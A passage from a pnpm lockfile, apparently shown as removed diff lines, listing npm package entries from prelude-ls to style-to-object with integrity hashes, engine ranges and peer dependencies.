sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg==} - engines: {node: ^10 || ^12 || >=14} - - prelude-ls@1.2.1: - resolution: {integrity: sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==} - engines: {node: '>= 0.8.0'} - - prettier@2.8.8: - resolution: {integrity: sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==} - engines: {node: '>=10.13.0'} - hasBin: true - - pretty-ms@7.0.1: - resolution: {integrity: sha512-973driJZvxiGOQ5ONsFhOF/DtzPMOMtgC11kCpUrPGMTgqp2q/1gwzCquocrN33is0VZ5GFHXZYMM9l6h67v2Q==} - engines: {node: '>=10'} - - proc-log@3.0.0: - resolution: {integrity: sha512-++Vn7NS4Xf9NacaU9Xq3URUuqZETPsf8L4j5/ckhaRYsfPeRyzGw+iDjFhV/Jr3uNmTvvddEJFWh5R1gRgUH8A==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - - process-nextick-args@2.0.1: - resolution: {integrity: sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==} - - promise-inflight@1.0.1: - resolution: {integrity: sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g==} - peerDependencies: - bluebird: '*' - peerDependenciesMeta: - bluebird: - optional: true - - promise-retry@2.0.1: - resolution: {integrity: sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==} - engines: {node: '>=10'} - - promise.series@0.2.0: - resolution: {integrity: sha512-VWQJyU2bcDTgZw8kpfBpB/ejZASlCrzwz5f2hjb/zlujOEB4oeiAhHygAWq8ubsX2GVkD4kCU5V2dwOTaCY5EQ==} - engines: {node: '>=0.12'} - - prop-types@15.8.1: - resolution: {integrity: sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==} - - property-information@6.5.0: - resolution: {integrity: sha512-PgTgs/BlvHxOu8QuEN7wi5A0OmXaBcHpmCSTehcs6Uuu9IkDIEo13Hy7n898RHfrQ49vKCoGeWZSaAK01nwVig==} - - proxy-addr@2.0.7: - resolution: {integrity: sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==} - engines: {node: '>= 0.10'} - - pump@2.0.1: - resolution: {integrity: sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==} - - pump@3.0.3: - resolution: {integrity: sha512-todwxLMY7/heScKmntwQG8CXVkWUOdYxIvY2s0VWAAMh/nd8SoYiRaKjlr7+iCs984f2P8zvrfWcDDYVb73NfA==} - - pumpify@1.5.1: - resolution: {integrity: sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==} - - punycode@2.3.1: - resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==} - engines: {node: '>=6'} - - qs@6.14.2: - resolution: {integrity: sha512-V/yCWTTF7VJ9hIh18Ugr2zhJMP01MY7c5kh4J870L7imm6/DIzBsNLTXzMwUA3yZ5b/KBqLx8Kp3uRvd7xSe3Q==} - engines: {node: '>=0.6'} - - quansync@0.2.11: - resolution: {integrity: sha512-AifT7QEbW9Nri4tAwR5M/uzpBuqfZf+zwaEM/QkzEjj7NBuFD2rBuy0K3dE+8wltbezDV7JMA0WfnCPYRSYbXA==} - - queue-microtask@1.2.3: - resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==} - - range-parser@1.2.1: - resolution: {integrity: sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==} - engines: {node: '>= 0.6'} - - raw-body@2.5.3: - resolution: {integrity: sha512-s4VSOf6yN0rvbRZGxs8Om5CWj6seneMwK3oDb4lWDH0UPhWcxwOWw5+qk24bxq87szX1ydrwylIOp2uG1ojUpA==} - engines: {node: '>= 0.8'} - - react-dom@18.3.1: - resolution: {integrity: sha512-5m4nQKp+rZRb09LNH59GM4BxTh9251/ylbKIbpe7TpGxfJ+9kv6BLkLBXIjjspbgbnIBNqlI23tRnTWT0snUIw==} - peerDependencies: - react: ^18.3.1 - - react-dom@19.2.4: - resolution: {integrity: sha512-AXJdLo8kgMbimY95O2aKQqsz2iWi9jMgKJhRBAxECE4IFxfcazB2LmzloIoibJI3C12IlY20+KFaLv+71bUJeQ==} - peerDependencies: - react: ^19.2.4 - - react-is@16.13.1: - resolution: {integrity: sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==} - - react-refresh@0.14.2: - resolution: {integrity: sha512-jCvmsr+1IUSMUyzOkRcvnVbX3ZYC6g9TDrDbFuFmRDq7PD4yaGbLKNQL6k2jnArV8hjYxh7hVhAZB6s9HDGpZA==} - engines: {node: '>=0.10.0'} - - react-remove-scroll-bar@2.3.8: - resolution: {integrity: sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q==} - engines: {node: '>=10'} - peerDependencies: - '@types/react': '*' - react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 - peerDependenciesMeta: - '@types/react': - optional: true - - react-remove-scroll@2.7.2: - resolution: {integrity: sha512-Iqb9NjCCTt6Hf+vOdNIZGdTiH1QSqr27H/Ek9sv/a97gfueI/5h1s3yRi1nngzMUaOOToin5dI1dXKdXiF+u0Q==} - engines: {node: '>=10'} - peerDependencies: - '@types/react': '*' - react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - - react-router-dom@6.30.3: - resolution: {integrity: sha512-pxPcv1AczD4vso7G4Z3TKcvlxK7g7TNt3/FNGMhfqyntocvYKj+GCatfigGDjbLozC4baguJ0ReCigoDJXb0ag==} - engines: {node: '>=14.0.0'} - peerDependencies: - react: '>=16.8' - react-dom: '>=16.8' - - react-router@6.30.3: - resolution: {integrity: sha512-XRnlbKMTmktBkjCLE8/XcZFlnHvr2Ltdr1eJX4idL55/9BbORzyZEaIkBFDhFGCEWBBItsVrDxwx3gnisMitdw==} - engines: {node: '>=14.0.0'} - peerDependencies: - react: '>=16.8' - - react-style-singleton@2.2.3: - resolution: {integrity: sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ==} - engines: {node: '>=10'} - peerDependencies: - '@types/react': '*' - react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - - react@18.3.1: - resolution: {integrity: sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==} - engines: {node: '>=0.10.0'} - - react@19.2.4: - resolution: {integrity: sha512-9nfp2hYpCwOjAN+8TZFGhtWEwgvWHXqESH8qT89AT/lWklpLON22Lc8pEtnpsZz7VmawabSU0gCjnj8aC0euHQ==} - engines: {node: '>=0.10.0'} - - readable-stream@2.3.8: - resolution: {integrity: sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==} - - readable-stream@3.6.2: - resolution: {integrity: sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==} - engines: {node: '>= 6'} - - readdirp@3.6.0: - resolution: {integrity: sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==} - engines: {node: '>=8.10.0'} - - reflect.getprototypeof@1.0.10: - resolution: {integrity: sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==} - engines: {node: '>= 0.4'} - - regexp.prototype.flags@1.5.4: - resolution: {integrity: sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==} - engines: {node: '>= 0.4'} - - remark-frontmatter@4.0.1: - resolution: {integrity: sha512-38fJrB0KnmD3E33a5jZC/5+gGAC2WKNiPw1/fdXJvijBlhA7RCsvJklrYJakS0HedninvaCYW8lQGf9C918GfA==} - - remark-mdx-frontmatter@1.1.1: - resolution: {integrity: sha512-7teX9DW4tI2WZkXS4DBxneYSY7NHiXl4AKdWDO9LXVweULlCT8OPWsOjLEnMIXViN1j+QcY8mfbq3k0EK6x3uA==} - engines: {node: '>=12.2.0'} - - remark-mdx@2.3.0: - resolution: {integrity: sha512-g53hMkpM0I98MU266IzDFMrTD980gNF3BJnkyFcmN+dD873mQeD5rdMO3Y2X+x8umQfbSE0PcoEDl7ledSA+2g==} - - remark-parse@10.0.2: - resolution: {integrity: sha512-3ydxgHa/ZQzG8LvC7jTXccARYDcRld3VfcgIIFs7bI6vbRSxJJmzgLEIIoYKyrfhaY+ujuWaf/PJiMZXoiCXgw==} - - remark-rehype@10.1.0: - resolution: {integrity: sha512-EFmR5zppdBp0WQeDVZ/b66CWJipB2q2VLNFMabzDSGR66Z2fQii83G5gTBbgGEnEEA0QRussvrFHxk1HWGJskw==} - - require-like@0.1.2: - resolution: {integrity: sha512-oyrU88skkMtDdauHDuKVrgR+zuItqr6/c//FXzvmxRGMexSDc6hNvJInGW3LL46n+8b50RykrvwSUIIQH2LQ5A==} - - resolve-from@4.0.0: - resolution: {integrity: sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==} - engines: {node: '>=4'} - - resolve-from@5.0.0: - resolution: {integrity: sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==} - engines: {node: '>=8'} - - resolve.exports@2.0.3: - resolution: {integrity: sha512-OcXjMsGdhL4XnbShKpAcSqPMzQoYkYyhbEaeSko47MjRP9NfEQMhZkXL1DoFlt9LWQn4YttrdnV6X2OiyzBi+A==} - engines: {node: '>=10'} - - resolve@1.22.11: - resolution: {integrity: sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==} - engines: {node: '>= 0.4'} - hasBin: true - - resolve@2.0.0-next.6: - resolution: {integrity: sha512-3JmVl5hMGtJ3kMmB3zi3DL25KfkCEyy3Tw7Gmw7z5w8M9WlwoPFnIvwChzu1+cF3iaK3sp18hhPz8ANeimdJfA==} - engines: {node: '>= 0.4'} - hasBin: true - - restore-cursor@3.1.0: - resolution: {integrity: sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==} - engines: {node: '>=8'} - - retry@0.12.0: - resolution: {integrity: sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==} - engines: {node: '>= 4'} - - reusify@1.1.0: - resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==} - engines: {iojs: '>=1.0.0', node: '>=0.10.0'} - - rimraf@3.0.2: - resolution: {integrity: sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==} - deprecated: Rimraf versions prior to v4 are no longer supported - hasBin: true - - rollup-plugin-peer-deps-external@2.2.4: - resolution: {integrity: sha512-AWdukIM1+k5JDdAqV/Cxd+nejvno2FVLVeZ74NKggm3Q5s9cbbcOgUPGdbxPi4BXu7xGaZ8HG12F+thImYu/0g==} - peerDependencies: - rollup: '*' - - rollup-plugin-postcss@4.0.2: - resolution: {integrity: sha512-05EaY6zvZdmvPUDi3uCcAQoESDcYnv8ogJJQRp6V5kZ6J6P7uAVJlrTZcaaA20wTH527YTnKfkAoPxWI/jPp4w==} - engines: {node: '>=10'} - peerDependencies: - postcss: 8.x - - rollup-pluginutils@2.8.2: - resolution: {integrity: sha512-EEp9NhnUkwY8aif6bxgovPHMoMoNr2FulJziTndpt5H9RdwC47GSGuII9XxpSdzVGM0GWrNPHV6ie1LTNJPaLQ==} - - rollup@4.60.0: - resolution: {integrity: sha512-yqjxruMGBQJ2gG4HtjZtAfXArHomazDHoFwFFmZZl0r7Pdo7qCIXKqKHZc8yeoMgzJJ+pO6pEEHa+V7uzWlrAQ==} - engines: {node: '>=18.0.0', npm: '>=8.0.0'} - hasBin: true - - run-parallel@1.2.0: - resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==} - - sade@1.8.1: - resolution: {integrity: sha512-xal3CZX1Xlo/k4ApwCFrHVACi9fBqJ7V+mwhBsuf/1IOKbBy098Fex+Wa/5QMubw09pSZ/u8EY8PWgevJsXp1A==} - engines: {node: '>=6'} - - safe-array-concat@1.1.3: - resolution: {integrity: sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==} - engines: {node: '>=0.4'} - - safe-buffer@5.1.2: - resolution: {integrity: sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==} - - safe-buffer@5.2.1: - resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==} - - safe-identifier@0.4.2: - resolution: {integrity: sha512-6pNbSMW6OhAi9j+N8V+U715yBQsaWJ7eyEUaOrawX+isg5ZxhUlV1NipNtgaKHmFGiABwt+ZF04Ii+3Xjkg+8w==} - - safe-push-apply@1.0.0: - resolution: {integrity: sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==} - engines: {node: '>= 0.4'} - - safe-regex-test@1.1.0: - resolution: {integrity: sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==} - engines: {node: '>= 0.4'} - - safer-buffer@2.1.2: - resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==} - - scheduler@0.23.2: - resolution: {integrity: sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==} - - scheduler@0.27.0: - resolution: {integrity: sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==} - - semver@6.3.1: - resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==} - hasBin: true - - semver@7.7.4: - resolution: {integrity: sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==} - engines: {node: '>=10'} - hasBin: true - - send@0.19.2: - resolution: {integrity: sha512-VMbMxbDeehAxpOtWJXlcUS5E8iXh6QmN+BkRX1GARS3wRaXEEgzCcB10gTQazO42tpNIya8xIyNx8fll1OFPrg==} - engines: {node: '>= 0.8.0'} - - serve-static@1.16.3: - resolution: {integrity: sha512-x0RTqQel6g5SY7Lg6ZreMmsOzncHFU7nhnRWkKgWuMTu5NN0DR5oruckMqRvacAN9d5w6ARnRBXl9xhDCgfMeA==} - engines: {node: '>= 0.8.0'} - - set-cookie-parser@2.7.2: - resolution: {integrity: sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw==} - - set-function-length@1.2.2: - resolution: {integrity: sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==} - engines: {node: '>= 0.4'} - - set-function-name@2.0.2: - resolution: {integrity: sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==} - engines: {node: '>= 0.4'} - - set-proto@1.0.0: - resolution: {integrity: sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==} - engines: {node: '>= 0.4'} - - setprototypeof@1.2.0: - resolution: {integrity: sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==} - - shebang-command@2.0.0: - resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} - engines: {node: '>=8'} - - shebang-regex@3.0.0: - resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} - engines: {node: '>=8'} - - side-channel-list@1.0.0: - resolution: {integrity: sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==} - engines: {node: '>= 0.4'} - - side-channel-map@1.0.1: - resolution: {integrity: sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==} - engines: {node: '>= 0.4'} - - side-channel-weakmap@1.0.2: - resolution: {integrity: sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==} - engines: {node: '>= 0.4'} - - side-channel@1.1.0: - resolution: {integrity: sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==} - engines: {node: '>= 0.4'} - - signal-exit@3.0.7: - resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==} - - signal-exit@4.1.0: - resolution: {integrity: sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==} - engines: {node: '>=14'} - - slash@3.0.0: - resolution: {integrity: sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==} - engines: {node: '>=8'} - - source-map-js@1.2.1: - resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} - engines: {node: '>=0.10.0'} - - source-map-support@0.5.21: - resolution: {integrity: sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==} - - source-map@0.6.1: - resolution: {integrity: sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==} - engines: {node: '>=0.10.0'} - - source-map@0.7.6: - resolution: {integrity: sha512-i5uvt8C3ikiWeNZSVZNWcfZPItFQOsYTUAOkcUPGd8DqDy1uOUikjt5dG+uRlwyvR108Fb9DOd4GvXfT0N2/uQ==} - engines: {node: '>= 12'} - - space-separated-tokens@2.0.2: - resolution: {integrity: sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==} - - spdx-correct@3.2.0: - resolution: {integrity: sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==} - - spdx-exceptions@2.5.0: - resolution: {integrity: sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==} - - spdx-expression-parse@3.0.1: - resolution: {integrity: sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==} - - spdx-license-ids@3.0.23: - resolution: {integrity: sha512-CWLcCCH7VLu13TgOH+r8p1O/Znwhqv/dbb6lqWy67G+pT1kHmeD/+V36AVb/vq8QMIQwVShJ6Ssl5FPh0fuSdw==} - - ssri@10.0.6: - resolution: {integrity: sha512-MGrFH9Z4NP9Iyhqn16sDtBpRRNJ0Y2hNa6D65h736fVSaPCHr4DM4sWUNvVaSuC+0OBGhwsrydQwmgfg5LncqQ==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - - stable@0.1.8: - resolution: {integrity: sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==} - deprecated: 'Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility' - - state-local@1.0.7: - resolution: {integrity: sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w==} - - statuses@2.0.2: - resolution: {integrity: sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==} - engines: {node: '>= 0.8'} - - stop-iteration-iterator@1.1.0: - resolution: {integrity: sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==} - engines: {node: '>= 0.4'} - - stream-shift@1.0.3: - resolution: {integrity: sha512-76ORR0DO1o1hlKwTbi/DM3EXWGf3ZJYO8cXX5RJwnul2DEg2oyoZyjLNoQM8WsvZiFKCRfC1O0J7iCvie3RZmQ==} - - stream-slice@0.1.2: - resolution: {integrity: sha512-QzQxpoacatkreL6jsxnVb7X5R/pGw9OUv2qWTYWnmLpg4NdN31snPy/f3TdQE1ZUXaThRvj1Zw4/OGg0ZkaLMA==} - - string-hash@1.1.3: - resolution: {integrity: sha512-kJUvRUFK49aub+a7T1nNE66EJbZBMnBgoC1UbCZ5n6bsZKBRga4KgBRTMn/pFkeCZSYtNeSyMxPDM0AXWELk2A==} - - string-width@4.2.3: - resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==} - engines: {node: '>=8'} - - string-width@5.1.2: - resolution: {integrity: sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==} - engines: {node: '>=12'} - - string.prototype.matchall@4.0.12: - resolution: {integrity: sha512-6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA==} - engines: {node: '>= 0.4'} - - string.prototype.repeat@1.0.0: - resolution: {integrity: sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w==} - - string.prototype.trim@1.2.10: - resolution: {integrity: sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==} - engines: {node: '>= 0.4'} - - string.prototype.trimend@1.0.9: - resolution: {integrity: sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==} - engines: {node: '>= 0.4'} - - string.prototype.trimstart@1.0.8: - resolution: {integrity: sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==} - engines: {node: '>= 0.4'} - - string_decoder@1.1.1: - resolution: {integrity: sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==} - - string_decoder@1.3.0: - resolution: {integrity: sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==} - - stringify-entities@4.0.4: - resolution: {integrity: sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==} - - strip-ansi@6.0.1: - resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} - engines: {node: '>=8'} - - strip-ansi@7.2.0: - resolution: {integrity: sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==} - engines: {node: '>=12'} - - strip-bom@3.0.0: - resolution: {integrity: sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==} - engines: {node: '>=4'} - - strip-final-newline@2.0.0: - resolution: {integrity: sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==} - engines: {node: '>=6'} - - strip-json-comments@3.1.1: - resolution: {integrity: sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==} - engines: {node: '>=8'} - - style-inject@0.3.0: - resolution: {integrity: sha512-IezA2qp+vcdlhJaVm5SOdPPTUu0FCEqfNSli2vRuSIBbu5Nq5UvygTk/VzeCqfLz2Atj3dVII5QBKGZRZ0edzw==} - - style-to-object@0.4.4: - resolution: {integrity: 